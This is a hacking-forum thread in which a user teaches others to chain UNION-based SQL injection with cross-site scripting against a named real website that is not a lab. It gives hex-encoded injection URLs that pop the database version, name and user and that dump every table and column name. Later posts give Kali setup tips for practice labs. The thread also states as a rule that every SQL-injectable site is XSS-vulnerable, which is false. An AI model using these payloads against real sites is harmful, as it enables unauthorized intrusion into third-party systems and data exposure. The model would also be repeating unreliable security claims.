[spirited_wolf™]

sir i have 1 more question. can i xss the same website using sqli

Yes we can do it very easily just remember that every website that is vulnerable to SQL-Injection is vulnerable to XSS(Cross site scripting) but not every website that is vulnerable to XSS(Cross site scripting) is not vulnerable to SQL-Injection.

So lets start with our last query that i told you yesterday.




Target::

PHP Code


<?php 
http://www.romanianwriters.ro/book.php?id=99 


we know that our website have total 3 number of columns and 2 and 3 are vulnerable.

PHP Code


<?php 
http://www.romanianwriters.ro/book.php?id=99+and+0+U NION+S ELECT+1,2,3-- - 


So, for doing XSS we should know what is XSS and how it really works.

What is XSS?
==>Cross-site scripting (XSS) is a code injection attack that allows an attacker to execute malicious JavaScript in another user's browser.

How XSS works?
==>In order to run malicious JavaScript code in a victim’s browser, an attacker must first find a way to inject a payload into a web page that the victim visits. Of course, an attacker could use social engineering techniques to convince a user to visit a vulnerable page with an injected JavaScript payload.

In order for an XSS attack to take place the vulnerable website needs to directly include user input in its pages. An attacker can then insert a string that will be used within the web page and treated as code by the victim’s browser.

So, here is simple XSS payload to get pop-up on our screen.

PHP Code


<?php 
<scrip>alert (0)</scrip> 


change it scrip with script.

So, now as we know its not the part of SQL so it should be in hex or in proper single or double quotes.

lets try our payload

So, we will use concat function.

PHP Code


<?php 
concat ('<scrip>alert('version::,v ersion (),in')</scrip>') 


so now it will pop version on the screen. Let's HEX it.

PHP Code


<?php 
concat (0x273c7363726970743e616c657274282776657273696f6e3a3a,version () ,0x696e27293c2f7363726970743e27) 


So, here is our version, database and user

PHP Code


<?php 
http://www.romanianwriters.ro/book.php?id=99+and+0+U NION+S ELECT+1,2,concat (0x273c7363726970743e616c6572742827496e6a656374656420627920737069726974656420776f6c663a3a56657273696f6e3a3a, v ersion () ,0x3a3a44617461626173653a3a, d atabase () ,0x3a3a557365723a3a, u ser (),0x696e27293c2f7363726970743e27)-- - 


Done thanks 🤝

[align=center][b]Check these thread 👍



==>[Mega Tutorial Links]SQL-Injection all tutorials by Spirit<==

==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters<==

==>An ultimate reference for all Beginners Hackers<==

thanks 🤝

[Angel shanu]

Yes we can do it very easily just remember that every website that is vulnerable to SQL-Injection is vulnerable to XSS(Cross site scripting) but not every website that is vulnerable to XSS(Cross site scripting) is not vulnerable to SQL-Injection.

So lets start with our last query that i told you yesterday.

too big sir but great explanation so we can also print tables and columns here??

[spirited_wolf™]

too big sir but great explanation so we can also print tables and columns here??

I know it's big but i just wrote it to clear yours and other doubts if they have any 🙂

Thanks,

Regards Spirited_wolf 👍

[Angel shanu]

I know it's big but i just wrote it to clear yours and other doubts if they have any 🙂

Thanks,

Regards Spirited_wolf 👍

I understand it sir but can you please give me example for printing tables and columns with this xss ??

[spirited_wolf™]

I understand it sir but can you please give me example for printing tables and columns with this xss ??

Sure just remember that we can't use <br> tag because its HTML statement. So,in our query instead of it we can use \n in hex

So, here we go

Code

http://www.romanianwriters.ro/book.php?id=99+and+0+U NION+S ELECT+1,2,concat (0x273c7363726970743e616c6572742827496e6a656374656420627920737069726974656420776f6c665c6e, ( s elect g roup _ concat (0x5461626c65206e616d653a3a5c6e,unhex (hex ( t able_name) ),0x5c6e436f6c756d6e206e616d653a3a, unhex (hex ( c olumn_name)),0x5c6e )f rom i nformation_Schema.c olumns w here t able_Schema=database ()),0x696e27293c2f7363726970743e27)-- -

Done thanks 👍

Regards Spirited_wolf 🤝

[Angel shanu]

Sure just remember that we can't use <br> tag because its HTML statement. So,in our query instead of it we can use \n in hex

you are legend sir 😝 proud to be your student 😎 thanks for you help once again sir spirit

[DragonB00T]

nice hq tutorial keep up bro

[spirited_wolf™]

nice hq tutorial keep up bro

thanks mate 🤝

Hope you will like this also

==>Top 10 Security/Hacking Tools & Utilities<==

[GeneralPortion]

Thanks for your answer!

Haven't decided yet what to do lol, just focusing on making myself anon :D

[spirited_wolf™]

Thanks for your answer!

Haven't decided yet what to do lol, just focusing on making myself anon :D

[Angel shanu]

sir i am getting error while setting up those vulnerable lab in my kali linux. I am using latest version can you please help me, sir

[spirited_wolf™]

sir i am getting error while setting up those vulnerable lab in my kali linux. I am using latest version can you please help me, sir

It's easy mate 🙂

Just follow my this tutorial.
==>Setup pentesting lab's in kali linux<==




But just remember few things before watching my tutorial.

1. As you said you are using latest version of Kali then your Apache directory is::

var/www/html/

2.In latest Kali [because its not debugged properly] you can start your apache2 and mysql service using::

/etc/init.d/apache2 start <- For starting apache2 service.


/etc/init.d/mysql start <- For starting mysql service.

Best of luck 👍

Thanks 🤝

[Angel shanu]

It's easy mate 🙂


But just remember few things before watching my tutorial.

1. As you said you are using latest version of Kali then your Apache directory is::


2.In latest Kali [because its not debugged properly] you can start your apache2 and mysql service using::


Best of luck 👍

Thanks 🤝

thanks sir for your realy with nice explanation and i will try it out and let you know if it worked or not 🤩

thank you sir🤩

[spirited_wolf™]

thanks sir for your realy with nice explanation and i will try it out and let you know if it worked or not 🤩

thank you sir🤩

Sure let me know 👍 if it didn't work then let me know i will try to short out your this problem 🎉
Thanks 🤝

[Angel shanu]

Sure let me know 👍 if it didn't work then let me know i will try to short out your this problem 🎉
Thanks 🤝

yes sir now its working but can you please tell me from where i can get that bwapp lab also that you have not posted in desciption plz thanks sir really you are so helpful 🤩